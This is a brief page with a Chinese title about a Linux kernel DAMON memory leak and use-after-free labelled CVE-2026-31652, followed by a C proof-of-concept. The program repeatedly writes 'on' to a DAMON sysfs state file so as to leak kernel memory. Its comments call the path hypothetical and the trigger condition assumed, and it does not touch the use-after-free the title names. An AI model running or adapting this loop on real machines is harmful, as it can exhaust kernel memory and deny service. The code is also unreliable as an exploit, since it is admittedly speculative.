CVE-2026-31652 Linux Kernel DAMON模块内存泄漏与UAF漏洞

#include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> /* * PoC Concept for CVE-2026-31652 * This script attempts to trigger the memory leak in mm/damon/stat * by repeatedly enabling the DAMON stat feature assuming a failure condition exists. */ int main() { const char *path = "/sys/kernel/mm/damon/admin/kdamonds/0/state"; // Hypothetical path int fd; int i; printf("[*] Attempting to trigger CVE-2026-31652 memory leak...\n"); for (i = 0; i < 1000; i++) { fd = open(path, O_WRONLY); if (fd < 0) { perror("[-] Failed to open sysfs interface"); return 1; } // Try to enable. If damon_call fails internally, ctx leaks. if (write(fd, "on", 2) < 0) { // Write might fail if already on or other error, ignore for PoC loop } close(fd); // Introduce delay to simulate user interaction / allow kernel processing usleep(10000); } printf("[+] Loop completed. Check kernel memory usage for leaks.\n"); return 0; }